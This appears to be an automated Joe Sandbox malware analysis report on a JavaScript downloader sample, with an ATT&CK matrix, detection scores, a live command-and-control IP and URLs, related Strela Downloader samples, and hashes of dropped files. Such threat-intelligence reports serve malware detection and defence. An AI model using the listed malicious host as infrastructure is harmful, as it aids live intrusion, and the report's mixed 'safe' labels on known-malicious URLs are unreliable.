Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1882131031120212290.js	3%	Virustotal		Browse
1882131031120212290.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/z	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/F	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.35	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2210530179.000001E85B7F0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/z	net.exe, 00000007.00000002.2209059615.000001ACB9578000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.3437973353.000001E85BA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/F	net.exe, 00000007.00000002.2209059615.000001ACB95A9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2209059615.000001ACB95A9000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587994
Start date and time:	2025-01-10 20:16:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1882131031120212290.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 2.16.168.125, 23.204.152.213, 23.204.152.210, 13.107.246.45, 52.6.155.20, 20.12.23.50, 23.203.104.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:17:52	API Interceptor	27x Sleep call for process: powershell.exe modified
14:17:58	API Interceptor	1x Sleep call for process: net.exe modified
14:17:58	API Interceptor	2x Sleep call for process: svchost.exe modified
14:18:05	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1584816627285206777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1434827995831320526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3881066198165199.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2986414422293398212.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.20
	Message 2.eml	Get hash	malicious	Unknown	Browse	84.201.210.39
	naebalovo.dll.dll	Get hash	malicious	Unknown	Browse	217.20.57.36
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.21
	WSJ25F.bat	Get hash	malicious	Unknown	Browse	84.201.210.39
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.41
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.25
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
bg.microsoft.map.fastly.net	invoice_AG60538.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	Message 2.eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	WSJ25F.bat	Get hash	malicious	Unknown	Browse	199.232.210.172
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1794629123897518052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4779230781910419613.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1584816627285206777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1434827995831320526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3881066198165199.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7893194593206114961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263224208727135
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0k:9JZj5MiKNnNhoxuN
MD5:	B27B6C15888654F7F359DFAF43A6911C
SHA1:	1403E6E9DDD3313307AE71229FE6B072AE5271C7
SHA-256:	DE11BA3A8B52EEBEA4CE604CDE692C5F5F850DECF4EA3320EBEFD078B9151212
SHA-512:	E8C298E6AA31270EF896DE54A53D17EB85B9068CC7D9AACCF3AB7EC550A01C31FF73CDF667D96D4D3AC1CD841E6DB1D7F4071B26A8A29FEA3C7B00AAA55804BF
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xb51eaf29, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555841873598972
Encrypted:	false
SSDEEP:	1536:VSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:VazaSvGJzYj2UlmOlOL
MD5:	E255755BB27F4CBE014C9D58D8C189F0
SHA1:	9CE859F3A963F9179DB27CF00A56D52B33A14279
SHA-256:	960E2A0F43789C818E8A3729EDB1F1E5A8EC152DCBA79D0FEBC21EC5BA3B9976
SHA-512:	5A7716531E87C381B49F65A8D25D970C6F295AD67DB1333EBCA92BA751E625E67039A9D389D7F126F5784A301E0AA6FE2962E1061473EBEDDEFEF8B9B6E5439B
Malicious:	false
Preview:	...)... .......7.......X\...;...{......................0.e......!...{?.:....}7.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................<...:....}W..................I)<:....}7..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07973513345857716
Encrypted:	false
SSDEEP:	3:JRYeoXXANaAPaU1lZ8XilluxmO+l/SNxOf:DzlNDPaUx0GgmOH
MD5:	B69DBD73CC4A18E713A73459468FB69C
SHA1:	1BF06E68ED54A9E32716E9B1C0DAB2BCCC0C798D
SHA-256:	CC11DC4AEB1F1A6416EF38FD5CF65C7E4F7F9B01475AD7AA0F2FD199F2155877
SHA-512:	E6FA43EF857B6CA494D1101A14153B0652500840F33836658C77A0D188EACF1A1C1402D86DD6A1613447E2C3F17005C8F9D1DD8AE011086E85E78E2C873B2CB3
Malicious:	false
Preview:	.V......................................;...{..:....}7..!...{?..........!...{?..!...{?..g...!...{?..................I)<:....}7.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.1948975233592405
Encrypted:	false
SSDEEP:	6:iO4cZIq2PN72nKuAl9OmbnIFUtS53JZmwsqkwON72nKuAl9OmbjLJ:7kvVaHAahFUtU3J/F5OaHAaSJ
MD5:	FB7EF59640D8F25ADB9D20CDB855FE7D
SHA1:	3F275C42B3922A4EF6A2591CCC535A93C31BACBA
SHA-256:	EE65F6F8DC05E27E804C8EB3A80089987A96E205E4389E6C4934D29E05F225D0
SHA-512:	F1E6E499F11CA09B55B37814D3AF015EA40DF6BDA7F95FABF31A53A936B27C012697B72C56556C1051469C73DCCFF29EDEC397F73053E212621F4CCC616826B5
Malicious:	false
Preview:	2025/01/10-14:17:58.208 c94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:17:58.210 c94 Recovering log #3.2025/01/10-14:17:58.211 c94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.1948975233592405
Encrypted:	false
SSDEEP:	6:iO4cZIq2PN72nKuAl9OmbnIFUtS53JZmwsqkwON72nKuAl9OmbjLJ:7kvVaHAahFUtU3J/F5OaHAaSJ
MD5:	FB7EF59640D8F25ADB9D20CDB855FE7D
SHA1:	3F275C42B3922A4EF6A2591CCC535A93C31BACBA
SHA-256:	EE65F6F8DC05E27E804C8EB3A80089987A96E205E4389E6C4934D29E05F225D0
SHA-512:	F1E6E499F11CA09B55B37814D3AF015EA40DF6BDA7F95FABF31A53A936B27C012697B72C56556C1051469C73DCCFF29EDEC397F73053E212621F4CCC616826B5
Malicious:	false
Preview:	2025/01/10-14:17:58.208 c94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:17:58.210 c94 Recovering log #3.2025/01/10-14:17:58.211 c94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.151763951387905
Encrypted:	false
SSDEEP:	6:iO4r9cM+q2PN72nKuAl9Ombzo2jMGIFUtSqz3JZmwsR3NcMVkwON72nKuAl9OmbX:7k9cM+vVaHAa8uFUtVbJ/AcMV5OaHAaU
MD5:	912DCBD0E023F82F9B2E7B191FED66D8
SHA1:	758587AEFBC54E8B472933FAEF241313896F7EA3
SHA-256:	011BAD6BB2F4DFD7F86A11C2F44055B9B73C3D8C6271E16A8BE83C5D7D097916
SHA-512:	E19C048A57ECFEE9A3F62412E938544EA3B28E2868560687109C4507C813A69FEDA65A0C75B496476F6A8F04C99FE91E7F5DEDD4E088A584187408F0A19FFC6E
Malicious:	false
Preview:	2025/01/10-14:17:58.241 108c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:17:58.242 108c Recovering log #3.2025/01/10-14:17:58.243 108c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.151763951387905
Encrypted:	false
SSDEEP:	6:iO4r9cM+q2PN72nKuAl9Ombzo2jMGIFUtSqz3JZmwsR3NcMVkwON72nKuAl9OmbX:7k9cM+vVaHAa8uFUtVbJ/AcMV5OaHAaU
MD5:	912DCBD0E023F82F9B2E7B191FED66D8
SHA1:	758587AEFBC54E8B472933FAEF241313896F7EA3
SHA-256:	011BAD6BB2F4DFD7F86A11C2F44055B9B73C3D8C6271E16A8BE83C5D7D097916
SHA-512:	E19C048A57ECFEE9A3F62412E938544EA3B28E2868560687109C4507C813A69FEDA65A0C75B496476F6A8F04C99FE91E7F5DEDD4E088A584187408F0A19FFC6E
Malicious:	false
Preview:	2025/01/10-14:17:58.241 108c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:17:58.242 108c Recovering log #3.2025/01/10-14:17:58.243 108c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\65321403-eb37-4c3e-9890-1940923da492.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF531578.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971824627296864
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4TX:Y2sRdswydMH0r3QYhbA7n7
MD5:	F326539D084B03D88254A74D6018F692
SHA1:	395B367E0E3554C3E78A8211F2D4B9F0F427CA87
SHA-256:	9379694CADD7846403E1B6975502326FBC619E0E3A873BBB7BC2C03EE3623007
SHA-512:	C8B5B1DD28605D3FCD9EF4A28BE1125137E6B3CB967F59CB2113656C8EFFFB3842115962DF8B25E9C3FA504F5E1B0A116D780326B1AB8062DC6AC0D80E7C3539
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d589490e-078f-439a-91f3-c32ee87cf461.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.949373839113854
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqZKXhsBdOg2HZ2caq3QYiubcP7E4TX:Y2sRds5XydMHZJ3QYhbA7n7
MD5:	1E9233F3AADF77AFCD7FC4C82E9F86EC
SHA1:	ECE9281246B9497FE7374C1A9ADD81E65E477781
SHA-256:	5C929BA0592A1CEB9F8365430AB98A0B38458539EAE43D0F7F1047C319A2609D
SHA-512:	B4B740DEA03FFDE53F693207CA902D15C5EAB31DC4E129F9904C149AD5CC74A73099D5E43EA95259D82B4CA02097042CE9489EF0A144B58D79007B0271F84414
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381096689932936","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133643},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.254287159209351
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7njkqw:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzh6
MD5:	7CB5D2299DAC11D828A685E5B023E5BE
SHA1:	E2F8D583C797F35FE04EC5477CA5886B32481DCE
SHA-256:	C4316585BADFE39D6666958D96142093107E706C7B2B22342B75BDF236246E17
SHA-512:	4D30374EF1ED10D0DD0C398F6A12334F68D8D08E5AC539694ACE246E516EADB88A29D49F28A1B785F64350594AC0C6079239C63123F39514DAEC1C4B40B30EB6
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1788067188796605
Encrypted:	false
SSDEEP:	6:iO4yF3cM+q2PN72nKuAl9OmbzNMxIFUtSQdEJZmwsJS3cMVkwON72nKuAl9OmbzE:7r3cM+vVaHAa8jFUtTEJ/QS3cMV5OaHP
MD5:	9EA055E6932DC2E65EA21CC1A55BF1C7
SHA1:	10EC766D2B52468D4226EFE048D0B404D87F66EB
SHA-256:	D59CAAB140AF2517AC629D69D93AAFBEF0E4836153493025AA9F1CC6741EBC40
SHA-512:	93EDB5690ECD9CFB4F3EC568AC07B487E6BDC52CD5F9AB1AB55ABEA1E6CF762CBDEF903E421F1FE95A73C9E3744FC5C7611F181B0F2B2040181400170718E746
Malicious:	false
Preview:	2025/01/10-14:17:58.435 108c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:17:58.436 108c Recovering log #3.2025/01/10-14:17:58.437 108c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1788067188796605
Encrypted:	false
SSDEEP:	6:iO4yF3cM+q2PN72nKuAl9OmbzNMxIFUtSQdEJZmwsJS3cMVkwON72nKuAl9OmbzE:7r3cM+vVaHAa8jFUtTEJ/QS3cMV5OaHP
MD5:	9EA055E6932DC2E65EA21CC1A55BF1C7
SHA1:	10EC766D2B52468D4226EFE048D0B404D87F66EB
SHA-256:	D59CAAB140AF2517AC629D69D93AAFBEF0E4836153493025AA9F1CC6741EBC40
SHA-512:	93EDB5690ECD9CFB4F3EC568AC07B487E6BDC52CD5F9AB1AB55ABEA1E6CF762CBDEF903E421F1FE95A73C9E3744FC5C7611F181B0F2B2040181400170718E746
Malicious:	false
Preview:	2025/01/10-14:17:58.435 108c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:17:58.436 108c Recovering log #3.2025/01/10-14:17:58.437 108c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444579093429204
Encrypted:	false
SSDEEP:	384:ye6ci5tDiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mQs3OazzU89UTTgUL
MD5:	A1D824D249E7AEDA9BC24408F3C88D28
SHA1:	5C98416FA88C651DF4486C83792CA83979D94C01
SHA-256:	004042289CA500E70055D2F8A773512C92E8349EB4FFB51839488A7D2454302D
